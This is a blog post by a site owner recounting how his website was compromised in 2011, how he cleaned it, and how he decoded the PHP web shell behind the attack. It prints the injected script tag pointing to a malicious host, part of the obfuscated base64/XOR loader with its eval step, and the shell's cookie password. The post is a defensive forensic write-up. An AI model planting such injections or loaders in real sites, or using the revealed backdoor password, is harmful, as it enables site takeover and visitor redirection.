07 April 2011

Analysis of Web-based Malware Attack

Due to the very nature that this is a website on the Internet means that eventually it would be susceptible to an attack. Wordpress and blog sites are notoriously targeted with infections that append code to HTML files that point them to malicious or advertisement websites. My website was similarly affected last month. Here is how the issue was identified and rectified in just a few minutes after notification.

Notification came by way of Twitter when a friend notified me that my site was redirecting to somewhere else.  I was sitting at my desk and quickly opened it to verify.  Sure enough, it was:

Malware infection shown to visitors


I SSH'd into the system and immediately changed the password. I then started looking for the culprit. The main file that was causing the redirection was named 'books.htm' and was in my web root folder. This was a simple HTML page that just lists the book projects I've worked on.

The first thing I did was manually view the file to see the impact. There was an added line of code to the very beginning of the file:


<script src="http://globalpoweringgathering.com/nl.php?p=1"></script>\n
With the infection spotted, I checked the file's MAC times to see when the attack occurred:



$ stat books.htm
File: `books.htm'
Size:1500      Blocks:8          IO Block:4096   regular file
Device:811h/2065d Inode:275324414   Links:1
Access: (0664/-rw-rw-r--)  Uid: (10369090/ bbaskin)   Gid: (45673/pg144238)
Access: 2010-07-19 07:10:46.000000000 -0700
Modify: 2011-04-02 23:35:38.000000000 -0700
Change: 2011-04-02 23:35:38.000000000 -0700

Looking at the results of this file shows that the file was modified and changed on April 2nd at 11:35PM. This is just one file, so we need to compare against another file to verify the date and time. A quick spot check showed an additional HTM file with the infection:



$ stat faq.htm
File: `faq.htm'
Size:143       Blocks:8          IO Block: 4096   regular file
Device:811h/2065d Inode:275322846   Links:1
Access: (0644/-rw-r--r--)  Uid: (10369090/ bbaskin)   Gid: (45673/pg144238)
Access: 2010-02-25 20:37:47.000000000 -0800
Modify: 2011-04-02 23:35:38.000000000 -0700
Change: 2011-04-02 23:35:38.000000000 -0700

A spot check across other folders showed similar infections. A grep for "globalpower" showed that it only infected .htm and .html files. I then ran the following script to search for the infection code and remove it.


grep -Rl "globalpower" * | xargs sed -i 's|<script src="http://globalpoweringgathering.com/nl.php?p=1"></script>\\n||g'

In part: grep finds the infected files and passes the filename to sed. Sed then does a global find & replace (s/old/new/g). Since the search query uses a '/', I just used '|' for sed instead.  This basically looks for that infection code and replaces it with nothing, thus removing it.

Now that we have a known date and time, and assuming that this is not a stomped date, we can focus on the network logs to see what occurred during that time. When reviewing the Apache logs I found the following two lines that were the sole activity during that time.


66.96.128.62 - - [02/Apr/2011:23:35:32 -0700] "POST /main.1.5.back/tmp/aarika_friend.php HTTP/1.1" 200 162 "-" "-"
66.96.128.62 - - [02/Apr/2011:23:35:37 -0700] "POST /main.1.5.back/tmp/aarika_friend.php HTTP/1.1" 200 433 "-" "-"

These files show the offending IP address, verifies the date and time but, more importantly, shows the initial malware script that caused the problems.  It also shows two consecutive connections, five seconds apart. The first connection sent 162 bytes of data back to the attacker and the second sent 433 bytes. The file still existed on the system. I gathered the file inode data below and then renamed it and chmod'd it to 400 (r--------) to avoid any additional execution. At this point the date sunk in. February 24th? The timestamps could be stomped, or the file really could've been uploaded at that point. My access logs do not go that far back, but I have to assume the worst.

$ stat aarika_friend.php
File: `aarika_friend.php'
Size: 28278     Blocks: 56         IO Block: 4096   regular file
Device: 811h/2065d Inode: 113164428   Links: 1
Access: (0644/-rw-r--r--)  Uid: (10369090/ bbaskin)   Gid: (45673/pg144238)
Access: 2011-02-24 00:31:36.000000000 -0800
Modify: 2011-02-24 00:31:36.000000000 -0800
Change: 2011-02-24 00:31:36.000000000 -0800
This PHP file was encoded into an unreadable format that we'll touch on later. For now, the hole needs to be patched. I see the first big issue here is that the file exists within a folder called "/main/1.5.back/tmp". When I was doing some obscure testing over a year ago I set the tmp folder in my Joomla to 777 permissions. I then neglected to reset them back. Worst. Mistake. Ever. When I performed a major Joomla update on December 31, 2010, I copied the entire directory to a backup and created a new one. This wide open directory sat there for months. How did the file end up in that particular location? I don't know at this point. I change permissions on the folder for now. I also check all other folders to ensure that none were left open.
To see if any other files were accessed, I scan my folder tree to find any file modified and created within the last 90 days by running:

$ find ./ -mtime 90
$ find ./ -ctime 90

This search did not uncover any additional files.

It was an embarrassing hit, but I did eventually clean the system up. From point of notification to remediation was about 10 minutes. And at least I hold no PII on the server ;)

Malware analysis

For the time, I kept a copy of infected files. They were moved outside of the public web folder to a place where I can later analyze them. I focused on the aarika_friend.php. I copied the code to a VM environment running Linux. This file included the following data (some portions reduced for obvious reasons)


<?php $_8b7b="\x63\x72\x65\x61\x74\x65\x5f\x66\x75\x6e\x63\x74\x69\x6f\x6e";$_8bb1f="\x62\x61\x73\x65\x36\x34\x5f\x64\x65\x63\x6f\x64\x65";$_8b7b1f56=$_8b7b(""$_8b7b1f("JGs9MTQzOyRtPWV4cGxvZGUoIjsiLCIyMzQ7MjUzOzI1MzsyMjQ7
...
CgkbSBhcyAkdilpZiAoJHYhPSIiKSR6Lj1jaHIoJHZeJGspO2V2YWwoJHopOw=="));$_8b7b1f56();?

Looking at the low-ASCII structure of the data, and the trailing "==", it's easy to see this is Base64 encoded. I then removed the header up to the "JGs9..." and the tail after "==" and ran it through a Base64 decoder. It resulted in the following data (again, some portions removed)

$k=143;$m=explode(";","234;253;253;224;253;208;253;234;255;
...
175;175;175;242;130;133;242;175;");$z=""; foreach($m as $v) if ($v!="") $z.=chr($v^$k); eval($z);
The explode() and chr() PHP functions here are the key. Notice the first variable is k=143. Explode() will take each 3-digit number (splitting on the semicolon) and XOR (^) the number by 143, then convert the result to an ASCII character (chr(number^143)). We can test this manually to test:

$ php -r 'echo(chr(234^143).chr(253^143).chr(253^143).chr(224^143).chr(253^143)."\n");'

error


Now we know that we're seeing appropriate ASCII text, which includes the word 'error'. The foreach() command goes through each 3-digit number, converts it to an ASCII character, and appends it to a master variable string called $z. At this point I'm going to edit the code to remove the very last command: eval($z);
Instead, I'll replace it with:

$bb=fopen('malware.txt','w');fwrite($bb,$z);fclose($bb);

I then add the necessary PHP header and footer to the file: "<php " and "?>". After making the edits I double check, then triple check, to ensure that I removed the eval() statement. Then I run:



php -f aarika_friend.decoded.php
It creates a new output called 'malware.txt' which contains the raw code. Rather than display it here, I'll point you to a pastebin archive of the code.  Pastebin gives a safe environment to view the code while performing syntax highlighting to make it easier to read.
So let's analyze a bit of what's going on in this code.  By looking solely at the HTML sections we can see a basic web structure in place. The script creates three two boxes for Check (p) and cmd. The attacker types in their command into the cmd box and a verification phrase into the Check box.
Before executing the command the code first looks to see if the check phrase, stored as a variable named 'p', is correct.

if (md5($_COOKIE["p"]) != "ca3f717a5e53f4ce47b9062cfbfb2458") {

If the MD5 hash of the phrase matches the value above then the specified command executes. The verification value that matches that MD5? It's "showmustgoon!"



 $ echo -n showmustgoon! | md5sum
 ca3f717a5e53f4ce47b9062cfbfb2458  -

At this point, the rest is just an academic exercise. The exploit was found, the vulnerability was found, and all was remediated. It turned into a learning lesson for me and hopefully for you as well.




No comments:

Post a Comment